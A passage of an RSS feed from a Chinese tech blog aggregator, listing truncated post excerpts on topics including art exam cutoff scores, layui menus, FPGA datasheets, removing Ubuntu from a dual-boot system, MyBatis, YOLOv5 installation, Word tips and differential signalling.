蹈类：统考合格线为100分【满分200】；&#xA;模块五影视表演类：统考合格线为181分【满分300】：&#xA;模块六书法类：统考合格线为210分【满分300】；&#xA;模块七美术与设计学类：统考合格线为190分【满分375】；&#xA;模块八音乐：统考合格线为115分【满分210】。&#xA;2021年安徽统考各模块合格线预测&#xA;模块一：统考合格线为110分；&#xA;模块二：统考合格线为158分；&#xA;模块三：统考合格线为226分；&#xA;模块四：统考合格线为105分；&#xA;模块五：统考合格线为180分&#xA;模块六：统考合格线为213分；&#xA;模块七：统考合格线为190分。&#xA;模块八：统考合格线为113分。&#xA;以上仅供参考，以考试院发布为准。&#xA;- END - (部分内容来源网络 侵权联系删除)&#xA;●2021年安徽艺术专业统考各模块成绩查询时间&#xA;●安徽艺术类专业统考各模块本科批次2016-2020录取最低数据汇总(院校报名数计划数最低分等)&#xA;●2021对安徽校考招生的院校招生公告招生简章汇总(有更新)&#xA;●2021年各院校艺术类招生简章+最新招生方案汇总！已更新119所院校！速看！&#xA;●2021年安徽省艺术类专业校考院校报考信息招生简章汇总！速看！&#xA;●又有新增！！2021年已明确取消校考的院校及其专业汇总！(附官方原文)&#xA;●2021年继续组织校考的院校和专业名单汇总，附考试内容和分值！持续更新~&#xA;南京艺术学院关于2020年本科艺术类专业招生考试的公告&#xA;●上海戏剧学院2021年本科招生专业考试公告&#xA;●报考2021年安徽普通高校招生艺术专业统一考试模块八注意事项！&#xA;●南京艺术学院2020年本科招生各专业录取最低分及录取人数统计(附招生录取办法)&#xA;●中国传媒大学2021年艺术类本科招生简章！中传校考时间确定！&#xA;●重大调整：南京传媒学院2021年艺术类校考专业与各省级艺术类统考类别&#xA;●中央戏剧学院2021年本科招生专业考试公告 ●【最全汇总】有250多所院校承认艺术统考成绩！&#xA;●重磅！2021年高考官方模拟考时间确定! 连考3天, 统一改卷!&#xA;●安徽省2021年普通高等学校招生艺术专业考试简章&#xA;●安徽省2020年12月教育招生考试月历&#xA;●【模块七名师范画】2021年安徽艺术类统考模块七美术试题真题&#xA;●安徽2021年编导统考真题新鲜出炉！</description>
    </item>
    <item>
      <title>layui javascript 导航菜单设置为href跳转后保持选中状态</title>
      <link>https://bchobby.github.io/posts/469813a97730e959bf9a56343dd2eb92/</link>
      <pubDate>Thu, 07 Jan 2021 09:58:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/469813a97730e959bf9a56343dd2eb92/</guid>
      <description>问题： 通过layui的导航栏可以完成如下的布局：&#xA;&amp;lt;ul class=&#34;layui-nav layui-nav-tree&#34; lay-filter=&#34;test&#34;&amp;gt; &amp;lt;li class=&#34;layui-nav-item&#34;&amp;gt; &amp;lt;a class=&#34;&#34; href=&#34;javascript:;&#34;&amp;gt;A&amp;lt;/a&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../&#34;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../clean_table_manage&#34;&amp;gt;2&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../index_table_manage&#34;&amp;gt;3&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../black_manage&#34;&amp;gt;4&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;layui-nav-item&#34;&amp;gt; &amp;lt;a href=&#34;javascript:;&#34;&amp;gt;B&amp;lt;/a&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../etl&#34;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../etl_compute_manage&#34;&amp;gt;2&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;layui-nav-item&#34;&amp;gt; &amp;lt;a href=&#34;javascript:;&#34;&amp;gt;C&amp;lt;/a&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../index_manage&#34;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../index_compute_list_manage&#34;&amp;gt;2&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../index_compute_manage&#34;&amp;gt;3&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;layui-nav-item&#34;&amp;gt; &amp;lt;a href=&#34;javascript:;&#34;&amp;gt;D&amp;lt;/a&amp;gt; &amp;lt;dl class=&#34;layui-nav-child&#34;&amp;gt; &amp;lt;dd&amp;gt;&amp;lt;a href=&#34;../model_manage&#34;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt; &amp;lt;/dl&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;</description>
    </item>
    <item>
      <title>ERP系统配置注意事项</title>
      <link>https://bchobby.github.io/posts/303f79a6ea5ebbfeeda978835cd6acd3/</link>
      <pubDate>Thu, 07 Jan 2021 09:22:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/303f79a6ea5ebbfeeda978835cd6acd3/</guid>
      <description> 1.idea配置JDK，JDK统一用1.8 2.添加web模块 3.web指定为WebContent模块，配置文件指定为旗下WEB-INFO的xml 4.指定lib文件 注：lib1指定为WebContent\WEB-INF\lib下面所有jar包 5.Facets 6.部署 7.选择SDK 8.java complier 9.java encoding 10.tomcat部署 11.修改 注:以上四个文件只修改mysql和redis的url和密码，改成本地或者远程均可 12 idea配置SVN 找到share control即可，最后输入url和svn用户密码 </description>
    </item>
    <item>
      <title>7系列FPGA数据手册:概述------中文翻译版</title>
      <link>https://bchobby.github.io/posts/ba463e3261ee28cc351e420fdac35587/</link>
      <pubDate>Wed, 06 Jan 2021 18:03:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba463e3261ee28cc351e420fdac35587/</guid>
      <description>7系列FPGA数据手册:概述------中文翻译版 总体介绍7系列FPGA功能摘要Spartan-7系列FPGA功能摘要Artix-7系列FPGA功能摘要Kintex-7系列FPGA功能摘要Virtex-7系列FPGA功能摘要堆叠式硅互联（SSI）技术CLBs, Slices, and LUTs时钟管理混合模式时钟管理器与锁相环MMCM附加的可编程功能时钟分配全局时钟线区域时钟I/O时钟 Block RAM同步操作可编程数据宽度错误检测和纠正FIFO控制器 Digital Signal Processing---DSP slice输入/输出I/O电气特性三态数控阻抗和低功耗I/O特性I/O逻辑输入输出延迟ISERDES和OSERDES 低功耗G比特收发器发送器接收器带外信号传输 用于PCI Express设计的集成接口模块配置加密、回读和部分重配置XADC（数模转换器）7 Series FPGA Ordering Information 总体介绍 Xilinx®7系列FPGA包括四个系列（Spartan®,Artix®-7,Kintex®-7,Virtex®-7），能够满足系统全部范围的要求，价格低廉，尺寸小，对成本敏感，超高端的连接带宽，逻辑容量及信号处理能力的大量应用，满足了系统对高性能的要求。7系列的FPGA包括：&#xA;Spartan®-7系列：价格低廉，供电电源低，I/O性能高。可提供低成本，非常小的外形尺寸封装，以实现最小的PCB占地面积。Artix®-7系列：针对需要串行收发器以及高DSP和逻辑吞吐量的低功耗应用进行了优化。为高吞吐量、成本敏感型应用提供最低的总物料成本。Kintex®-7系列：针对最佳性价比进行了优化，与上一代产品相比提高了两倍，支持新一代的FPGA。Virtex®-7系列：针对最高系统性能和容量进行了优化，系统性能提高了两倍。通过硅堆叠技术（SSI）实现的最高性能器件。 7系列FPGA采用最先进的高性能、低功耗（HPL）、28nm、高k金属栅（HKMG）工艺技术，I/O带宽为2.9TB/s，逻辑单元容量为200万个，DSP定点运算性能为5.3TMAC/s，[其中Virtex-7系列的DSP处理能力为5,335 GMAC/s（GMAC/s：每秒10亿次乘加运算）]，实现了无与伦比的性能提升，同时功耗比前一代器件低50%，为ASSP（Application Specific Standard Parts 专用标准产品）和ASIC提供了完全可编程的替代方案。&#xA;7系列FPGA功能摘要 先进的高性能FPGA逻辑，基于可配置为分布式内存的实6输入查找表（LUT）技术；36KB双端口块RAM 内置FIFO逻辑，用于片上数据缓冲；高性能SelectIOTM技术，支持高达1866Mb/s的DDR3接口；内置多千兆收发器实现高速串行连接，最高可达600Mb/s。针对6.6Gb/s至28.05Gb/s的速率，提供特殊的低功耗模式，并对芯片间的接口做了优化。用户可配置模拟接口（XADC），集成12位1Msps带片上热传感器和电源传感器的模数转换器；带有25×18乘法器、48位累加器和前值加法器的DSP片可实现高性能滤波，包括优化的对称系数滤波；强大的时钟管理模块（CMT），结合锁相环（PLL）和混合模式时钟管理器（MMCM），可实现高精度和低抖动；利用MicroBlazeTM处理器快速部署嵌入式处理器；适用于PCI Express®（PCIe）的集成块，最多可支持×8 Gen3端点和根端口设计；多种配置选项，包括支持商用存储器、带HMAV/SHA-256（加密算法）身份验证的256位AES（Advanced Encryption Standard高级加密标准）加密，内置SEU检测和纠正。低成本、线耦合、裸芯倒片封装和高信号完整性倒片封装，可在同一封装系列的产品之间轻松移植。所有封装均提供无铅封装和精选含铅封装选项；专为高性能和低功耗而设计，具有28nm、HKMG、HPL工艺、1.0V核心电压工艺技术和0.9V电压选项，可实现更低功耗。 表1：7系列FPGA比较&#xA;注释：&#xA;以分布式RAM形式提供额外内存。峰值DSP性能是基于对称滤波器实现的。MicroBlaze CPU的峰值性能是基于微控制器预置来实现的。 Spartan-7系列FPGA功能摘要 表2：按型号划分的Spartan-7 FPGA功能摘要&#xA;注释：&#xA;1.每个7系列FPGA包含4个LUT和8个触发器；只有某些片可以将它们的LUT用作分布式RAM或SRL（移位寄存器）。&#xA;2.每个DSP片包括一个前置加法器、一个25×18乘法器、一个加法器和一个累加器。&#xA;3.Block RAM的大小基本上为36KB；每个BRAM也可以用作两个独立的18KB Blocks。&#xA;4.每一个CMT包含一个MMCM和一个PLL。&#xA;5.不包括配置库0。&#xA;表3 Spartan-7 FPGA封装组合及最大I/O数&#xA;注释：&#xA;1.HR=高范围I/O，支持1.2V到3.3V的I/O电压。&#xA;Artix-7系列FPGA功能摘要 表四：按型号划分的Artix-7 FPGA功能摘要&#xA;注释：&#xA;每个7系列FPGA包含4个LUT和8个触发器；只有某些片可以将它们的LUT用作分布式RAM或SRL（移位寄存器）。每个DSP片包括一个前置加法器、一个25×18乘法器、一个加法器和一个累加器。Block RAM的大小基本上为36KB；每个BRAM也可以用作两个独立的18KB Blocks。每一个CMT包含一个MMCM和一个PLL。Artix-7系列FPGA接口块用作PCIe时，最多支持x4 Gen 2。不包括配置库0。此数字不包括GTP收发器。&#xA;表五：Artix-7 FPGA封装组合及最大I/O数&#xA;1.所有列出的封装均为无铅封装（SBG、FBG、FFG、除了15）。一些封装在有铅选项中可用。&#xA;2.FGG484和FBG484引脚兼容。&#xA;3.FGG676和FBG676引脚兼容。&#xA;4.CP、CS、FT、FG封装的GTP收发器支持最高6.25Gb/s的数据速率。</description>
    </item>
    <item>
      <title>chemdraw怎么画拐弯的箭头_柯赛分享：地下停车场标识应该怎么标注电梯口的位置？...</title>
      <link>https://bchobby.github.io/posts/222eeeaf8f03efdd026974fba4b8a428/</link>
      <pubDate>Wed, 06 Jan 2021 17:36:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/222eeeaf8f03efdd026974fba4b8a428/</guid>
      <description>这几天我们一直在谈关于停车场标识的一些问题，从场外说到场内，一系列的标识牌把司机引导到画好格子的停车位上面，当停车场属于地下停车场的时候，一般情况下司机停好车以后是需要步行去找电梯的，不然怎么进入建筑物呢。在这个过程中，就涉及到了一个重要类型的标识，电梯相关的引导标识，这种标识需要传递给人们的信息很明确，电梯在哪里，以当前位置为起点应该怎么走才能到达电梯口所在位置，带着这个问题，我们还是以柯赛的实际工程项目为基础来分析，下面分别对3种标注方法进行展开。&#xA;1，通过吊牌标注，这种标注法在实际生活中是使用比较广泛的，我们在大型的地下停车场停好车以后，步行到公共过道上面基本上稍微抬头就能够看到各种带箭头的标识牌，再具体看箭头旁边的图案，很容易找到电梯的标志，只要人们顺着电梯和箭头指引的方向走，一般都可以顺利找到电梯口的；&#xA;2，通过立柱张贴标注，现代化大型建筑物的框架结构必然有大量的立柱，在地下停车场，这些立柱都是直接裸露着的，除了张贴相关的标识牌或者制作一些彩绘图案，也没有别的更好的用途，所以一部分的停车场会把这些立柱利用起来，整齐划一的张贴一些导向标识，其中就包含了电梯位置的标识和路径走向箭头，对运营商来说，通过立柱来标识电梯口的位置不但可以美化停车场的环境，还可以为人们提供导向导视服务，可谓一举两得；&#xA;3，通过地面划线标注，在前面的文章里面我们也提到了停车场的地面标识部分，在一些定位相对比较高端的场所，停车场基本是做了地坪漆处理的，看上去美观大方，车辆行驶不打滑，也没有像普通水泥地面那么大的灰尘，这种地坪漆表面可以发挥的空间也更大，通常情况下划出来的线条效果远远超过普通水泥地面，电梯口相关标识完全可以直接标注在公共过道上，具体以图案还是线条的方式来展示，就要看设计师的构思和场地的实际需求了；&#xA;不管是商业场所还是住宅小区，对大多数地下停车场来说，人们停好车以后必然要找电梯口，所以电梯口的标注在整个停车场标识系统中就不能马虎，运营商通常应该根据实际情况对电梯口的相关信息进行准确的标注，方便人们安全快速方便地找到电梯口。在标注电梯口位置的时候，也可以融入一些与环境互相协调的元素，让停车场这个功能单一的场所变得更加人性化更加舒服，作为进入相关场所的一个中转站，地下停车场标识系统如果能够给人们一个良好的第一印象，后面的相关工作开展起来会轻松不少。&#xA;本文由柯赛标识原创，首发柯赛官网，转载请保留版权，违者必究。</description>
    </item>
    <item>
      <title>windows10&#43;Ubuntu双系统卸载旧Ubuntu并重装Ubuntu（绝对安全）</title>
      <link>https://bchobby.github.io/posts/dd271f7c076085cf054cf330a3f579d0/</link>
      <pubDate>Wed, 06 Jan 2021 17:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd271f7c076085cf054cf330a3f579d0/</guid>
      <description>一、删除Ubuntu开机导引 在windows系统下，以管理员的权限打开命令行，依次输入一下命令&#xA;diskpart&#x9;# 进入系统的diskpart组件 list disk&#x9;# 查看系统所有的磁盘，并找到Ubuntu系统所安装的磁盘 select disk $&#x9;# $是Ubuntu所安装的磁盘 list partition&#x9;# 找到类型为Ubuntu系统的分区 select partition $&#x9;# $为类型为Ubuntu系统的分区 assign letter=p&#x9;# 将分区分配到磁盘P中，分配到哪个磁盘其实随意，只要不和现有的磁盘冲突即可 exit # 退出diskpat p:&#x9;# 进入P盘 cd efi # 进入引导文件夹 dir # 查看所有引导 rd /s ubuntu&#x9;# 删除Ubuntu引导，这个时候需要谨慎操作，不要误删其他系统的引导 diskpart # 再次进入到diskpart select disk $&#x9;# $是之前选择的盘符 select&#x9;partition $ # $是之前选择的分区 remove letter=p # 删除P盘 二、删除旧Ubuntu占用的磁盘空间 谨记！！该步骤一定要在完成步骤一之后再进行。而且务必确保删除的是Ubuntu占用的磁盘，一定要与windows磁盘空间区分开。&#xA;1、删除非&#34;EFI系统分区&#34;&#xA;比较容易，直接鼠标右击相应分区，然后选择“删除卷”即可删除。&#xA;2、删除“EFI系统分区”&#xA;第一种方法（本人亲测，绝对安全）：在windows系统下，以管理员的权限打开命令行，依次输入一下命令&#xA;diskpart&#x9;# 进入系统的diskpart组件 list disk&#x9;# 查看系统所有的磁盘，并找到Ubuntu系统所安装的磁盘 select disk $&#x9;# $是Ubuntu所安装的磁盘 list partition&#x9;# 找到类型为Ubuntu系统的分区 select partition $&#x9;# $为类型为Ubuntu系统EFI分区 SET ID=ebd0a0a2-b9e5-4433-87c0-68b6b72699c7 # 重置分区ID 第二种方法：跟第一种方法类似，只是把方法一的最后一条指令换成如下指令(此法本人没有亲测过)</description>
    </item>
    <item>
      <title>sql中foreach标签的使用</title>
      <link>https://bchobby.github.io/posts/38e9f110cbfb94a2b4a0f82e98a968dd/</link>
      <pubDate>Wed, 06 Jan 2021 14:07:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38e9f110cbfb94a2b4a0f82e98a968dd/</guid>
      <description>sql中foreach标签的使用&#xA;（学习笔记，欢迎指导！）&#xA;foreach标签主要用于构建in条件，他可以在sql中对集合进行迭代。&#xA;解析：&#xA;collection ：collection属性的值有三个分别是list、array、map三种，分别对应的参数类型为：List、数组、map集合，我在上面传的参数为数组，所以值为array&#xA;item ： 表示在迭代过程中每一个元素的别名&#xA;index ：表示在迭代过程中每次迭代到的位置（下标）&#xA;open ：前缀&#xA;close ：后缀&#xA;separator ：分隔符，表示迭代时每个元素之间以什么分隔&#xA;示例如下：&#xA;&amp;lt;insert id=&#34;insertList&#34;&amp;gt; INSERT INTO &#34;BIZ_PLATFORM_USER&#34;.&#34;DEVICE_OPERATION_TEAM&#34;( &amp;lt;include refid=&#34;BaseSql&#34;/&amp;gt; ) VALUES &amp;lt;foreach collection=&#34;list&#34; item=&#34;item&#34; index=&#34;index&#34; separator=&#34;,&#34;&amp;gt; ( #{item.name,jdbcType=VARCHAR}, #{item.md5,jdbcType=VARCHAR}, #{item.post,jdbcType=VARCHAR}, #{item.brief,jdbcType=VARCHAR}, #{item.deviceUuid,jdbcType=VARCHAR}, #{item.createBy,jdbcType=VARCHAR}, #{item.updateBy,jdbcType=VARCHAR}, #{item.createTime,jdbcType=TIMESTAMP}, #{item.updateTime,jdbcType=TIMESTAMP} ) &amp;lt;/foreach&amp;gt; &amp;lt;/insert&amp;gt; 或：&#xA;&amp;lt;select id=&#34;selectByFolderId&#34; parameterType=&#34;list&#34; resultMap=&#34;docManagerMap&#34;&amp;gt; select d.* from doc_manager d left join folder_doc fd on fd.doc_id = d.id where fd.folder_id in &amp;lt;foreach collection=&#34;list&#34; item=&#34;folderId&#34; index=&#34;</description>
    </item>
    <item>
      <title>conda安装yolov5</title>
      <link>https://bchobby.github.io/posts/6b32672ad27ee34c1f74cbfef5ac59a6/</link>
      <pubDate>Wed, 06 Jan 2021 10:15:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b32672ad27ee34c1f74cbfef5ac59a6/</guid>
      <description> conda安装yolov5 # 创建conda环境 $ conda create -n yolov5 python=3.7 $ source activate yolov5 $ git clone https://github.com/ultralytics/yolov5 $ cd yolov5 pip install -i https://pypi.doubanio.com/simple --trusted-host pypi.doubanio.com -r requirements.txt # 验证是否安装成功 $ python detect.py </description>
    </item>
    <item>
      <title>uniapp小程序端点击预览图片并且左右手势切换图</title>
      <link>https://bchobby.github.io/posts/19c6734ebed7834a4733f3d40f311045/</link>
      <pubDate>Wed, 06 Jan 2021 09:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c6734ebed7834a4733f3d40f311045/</guid>
      <description>前言 此篇文章主要讲述如何在uniapp端通过点击图片进入预览，手指外扩放大缩小图，左右手势切换下一张图。&#xA;1.点击图片进入预览&#xA;2.手指外扩放大缩小图&#xA;3.左右手势切换下一张图&#xA;4.长按保存图片到相册&#xA;5.uni.previewImage预览图片，uni.saveImageToPhotosAlbum保存图片&#xA;核心区域： &amp;lt;view class=&#34;uni-list&#34; v-for=&#34;(item, index) in displayList&#34; :index=&#34;index&#34; :key=&#34;index&#34;&amp;gt; &amp;lt;image :src=&#34;item.allimage&#34; @click=&#34;TanPreviewImage(index)&#34; mode=&#34;scaleToFill&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; data() { return { phones: [] }; }, //点击图片进入函数，传入当前列表的索引index TanPreviewImage(indexa) { uni.previewImage({ // 预览图片 图片路径必须是一个数组 =&amp;gt; [&#34;http://21111889:8970/6_1597822634094.png&#34;] current: indexa,//这里是判断到点击列表上的某个图片，就读取索引的图片 urls: this.phones,//这是整个内容的图片数组，放一个数组里，就可以左右切换了 longPressActions: { //长按保存图片到相册 itemList: [&#39;保存图片&#39;], success: (data) =&amp;gt; { console.log(data); uni.saveImageToPhotosAlbum({ //保存图片到相册 filePath: payUrl, success: function() { uni.showToast({ icon: &#39;success&#39;, title: &#39;保存成功&#39; }) }, fail: (err) =&amp;gt; { uni.</description>
    </item>
    <item>
      <title>word页眉前后不一致怎么设置_Word排版到天亮？我有特别的使用技巧！</title>
      <link>https://bchobby.github.io/posts/4d0ef1cf3e028735b75b8054ce0d9006/</link>
      <pubDate>Wed, 06 Jan 2021 08:49:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d0ef1cf3e028735b75b8054ce0d9006/</guid>
      <description> Word，一款让人又爱又恨的反人类办公软件。&#xA;“正是在下！(歪嘴笑)”&#xA;设想一下，deadline在即，排版却怎么也排不齐，页眉改来改去没有改好，结果页码又乱了……&#xA;小白平时使用word的时候，也经常遇到各种奇葩问题，每次求救度娘之后都会(骂一顿然后)顺手记下来，渐渐地也攒了不少。今天的这篇文章就分享一些word常见的问题与技巧，希望能对大家有所帮助。兴许哪条小技巧就能让你相见恨晚呢&#xA;1 删除/修改某几页页眉或页码 在需要删除页眉的页面插入分节符(区别于分页符)；&#xA;分节符：页面布局-分隔符&#xA;双击下一页的页眉，取消“链接到前一条页眉”&#xA;这套操作将前后文分成两个独立小节，于是就可以对页眉页码分别进行删除和修改了。妈妈再也不用担心我封面上有页码了！&#xA;2 页眉横线如何删除 有时候删除了页眉之后，还会遇到页眉横线没删掉的尴尬情况&#xA;方法1：点击“清除所有格式”&#xA;方法2：适用于需要保留页眉文字内容的情况&#xA;双击页眉进入编辑界面后，找到“页面边框”选项&#xA;(不同版本的word，“页面边框”选项位置还不一样，属实反人类)&#xA;点击“边框”，设置为“无”，应用于段落，点击确定，搞定。&#xA;3 如何删除空白页 别笑，这是个很严肃的问题。退格键制裁不了的空白页是真实存在的。&#xA;就像这样&#xA;顽固空白页往往是分节符或表格的锅，我们对症下药：&#xA;情况1：简单粗暴，在空白页按下“Delete”键删除分节符。&#xA;情况2：有时delete键也删除不了空白页，可能是因为上一页的表格太大，将段落标记“挤”到了空白页。如果表格不方便挪动或者缩放的话，可以考虑如下做法：右键空白页-段落，将行距调为1磅。&#xA;4 有关表格的一些技巧 1. 表格的拆分与合并&#xA;拆分：行尾使用组合键“Ctrl+Shift+回车”&#xA;合(反)并(悔)：Delete删除表格间的回车。&#xA;2. 表格竖线对齐&#xA;单击表格左上角十字(进行全选)- 光标置于竖线处双击。&#xA;5 其它使用细节 1. 勤点保存！勤点保存！勤点保存！重要的事情说三遍。小白就曾见过师兄因为忘记保存而白忙活一下午的悲惨案例。与其将希望寄托于自动保存，不如时不时地“ctrl+s”一下。&#xA;当然，什么剪视频啦、建模啦同理。另外及时备份也是个好习惯&#xA;2. 码字前设置模板，后续排版的时候能省去许多工作量&#xA;3. 我敢打赌，我绝对不是最后一个知道双击格式刷能够重复使用的人&#xA;4. Word也可以像QQ截屏一样框选：按住alt+鼠标左键并拖动&#xA;5. 善用导航窗格，有效节约鼠标滚轮寿命&#xA;END </description>
    </item>
    <item>
      <title>使用HybridSN进行高光谱图像分类</title>
      <link>https://bchobby.github.io/posts/32a790fcb3a990d47704701bf5ad8d8d/</link>
      <pubDate>Tue, 05 Jan 2021 17:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32a790fcb3a990d47704701bf5ad8d8d/</guid>
      <description>文章目录 一、前言二、高光谱图像三、HybridSN模型四、注意力机制五、开始实验5.1 下载数据集5.2 PCA降维5.3 训练模型5.4 可视化结果5.5 分析结论 六、思考七、结语 一、前言 高光谱图像（Hyperspectral image，以下简称HSI）分类广泛应用于遥感图像的分析，随着深度学习和神经网络的兴起，越来越多的人使用二维CNN对HSI进行分类，而HSI分类性能却高度依赖于空间和光谱信息，由于计算复杂度增加，很少有人将三维CNN应用于HSI分类中。这篇 Exploring 3-D–2-D CNN Feature Hierarchy for Hyperspectral Image Classification构建一种混合网络(HybridSN)解决了HSI分类所遇到的问题，它首先用三维CNN提取空间-光谱的特征，然后在三维CNN基础上进一步使用二维CNN学习更多抽象层次的空间特征，这与单独使用三维CNN相比，混合的CNN模型既降低了复杂性，也提升了性能。经实验证明，使用HybridSN进行HSI分类，能够获得非常不错的效果。&#xA;二、高光谱图像 在进行高光谱图像分类之前，我认为有必要了解什么是高光谱图像。从计算机的角度来说，高光谱图像（Hyperspectral image）就是由多通道（几十甚至几百个）的数组构成的图像，每个像素点都有很多的数来描述，单个通道上的“灰度值”反映了被拍摄对象对于某一波段的光的反射情况。&#xA;我们知道，常见的RGB彩色图像只有三个通道，而高光谱图像有几十甚至几百个通道，所以高光谱图像包含包含更多的目标信息，利用高光谱图像进行目标的分类识别也必然比采用RGB图像具有更高的准确度。如下图所示，利用高光谱相机可以拍摄出由不同波长组成的空间立方体图像（即高光谱图像），用一个光谱曲线将其显示出来，横轴表示波长，纵轴表示反射系数，由于同一物体对不同波长的光反射因子不一样，因此利用高光谱图像更能反映出不同物体的差异性。&#xA;其实高光谱成像技术在很早以前就已经被广泛应用了，天上的卫星拍摄到的就是高光谱图像，通过分析每个像素点的光谱曲线，可以把不同地面目标对应的像素点分类，从而在高光谱图像中把地面、建筑物、草坪、江河等等区分开。&#xA;三、HybridSN模型 对于HSI分类问题，我们在提取空间信息的同时，也希望能获取到不同波长的光谱信息，而二维CNN是无法处理光谱信息的，也就无法提取到更具有判别性的特征图。幸运的是，三维CNN能够同时提取光谱和空间的特征，但代价是增加计算复杂度。为了充分发挥二维和三维CNN的优势，Swalpa Kumar Roy等人提出了HSI分类模型HybridSN，其模型图如下图所示，它由三个三维卷积、一个二维卷积和三个全连接层组成。&#xA;在HybridSN模型中，三维卷积核的尺寸分别为8×3×3×7×1(即图中 K 1 1 K_1^1 K11​=3 ， K 2 1 K_2^1 K21​=3 ， K 3 1 K_3^1 K31​=7)、16×3×3×5×8(即图中 K 1 2 K_1^2 K12​=3 ， K 2 2 K_2^2 K22​=3 ， K 3 2 K_3^2 K32​=5)和32×3×3×3×16(即图中 K 1 3 K_1^3 K13​=3 ， K 2 3 K_2^3 K23​=3 ， K 3 3 K_3^3 K33​=3），分别位于第一、第二和第三卷积层中。其中，16×3×3×5×8表示输入特征图的个数为8，输出特征图个数为16，三维卷积核大小为3x3x5，可理解为有两个空间维度和一个光谱维度。二维卷积在flatten之前被应用一次，它能有效的判别空间信息，也不会大量损失光谱信息，这是对HSI数据非常重要。</description>
    </item>
    <item>
      <title>差分阻抗为多少_谈谈差分信号</title>
      <link>https://bchobby.github.io/posts/ce92ca48c133b23b48ec64fdf0fe2078/</link>
      <pubDate>Tue, 05 Jan 2021 15:46:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce92ca48c133b23b48ec64fdf0fe2078/</guid>
      <description>更多经验分享，关注 加油射频工程师 习惯了单端信号，对差分信号的使用还是会有点发怵。所以有的器件厂商，虽然输入接口是差分，但是会注明一下，单端输入时的具体接法。&#xA;差分信号的抗扰以及EMI特性&#xA;但其实，由于差分信号是对差模信号响应，对共模信号不敏感，所以差分信号的抗干扰特性是优于单端信号的。&#xA;即差分信号是对两根线之间的差值响应，而不是对线与地之间的差值响应。比如说，有一干扰信号，耦合到一对差分线上，我们可以近似认为，耦合到两根线上的干扰是等幅同相的，所以差分信号对它不响应。&#xA;同时，差分信号上两根线上的电流是相反的，所以一定程度上，两者在两根导体外产生的磁场是有相消的情况存在的。而电场又紧密的耦合在一起，所以，差分信号对外产生的辐射干扰也是小于单端信号的。&#xA;射频差分信号需要地平面么？&#xA;差分信号两线之间互为参考，那下面还需不需要地平面呢(2)(3)？这个问题稍微有点复杂。&#xA;如果结构中，有两根耦合微带线以及参考平面的话，如上图所示，那在其结构中存在两种模式：&#xA;(1) 奇模模式&#xA;给两根线的驱动电压等幅反相，则会激发出奇模模式。&#xA;(2) 偶模模式&#xA;给两根线的驱动电压等幅同相，则会激发出偶模模式。&#xA;从上图可以发现，不管是偶模模式还是奇模模式，都存在着微带线与参考平面的耦合。&#xA;虽然在奇模模式下，微带线之间会有一定程度上的互为参考面，但是还是有部分回流存在于参考地平面上。&#xA;如果地平面被分割或被移除，肯定会造成模式的破坏。&#xA;如果在实际设计时，需尽量保持差分线下地平面的完整。如果真的没办法，不能保证地平面完整的话，可以参考文献【3】，合理设计差分线之间的间距，选择介质材料的厚度，以减小地平面对微带差分线的阻抗。&#xA;差分信号为什么会有偶模模式呢？&#xA;理想的差分信号，共模就是DC，这个时候是不存在偶模模式的；只存在奇模模式。&#xA;但是如果差分信号的相位之间不是严格相差180度，而是有几度的偏移，这在实际应用中经常发生。这个时候，就产生偶模模式了。&#xA;我们可以用公式推导一下。&#xA;如果假设频率为50Hz，用matlab画出上述的曲线，则可以看到共模信号已经产生，只不过幅度比较小。&#xA;差分滤波器等怎么设计&#xA;如果需要在差分回路上放置滤波器，应该怎么设计呢？&#xA;其实很简单，比如你要设计输入输出阻抗为200ohm的差分滤波器【5】，就先设计输入输出阻抗为100ohm的单端滤波器，然后将两个这样的滤波器的接地端连接在一起，将原来并联支路上可合并的合在一起，即可得到输入输出差分阻抗为200ohm的滤波器。&#xA;差分线绘制时，要注意哪些事项？【6】&#xA;(1) 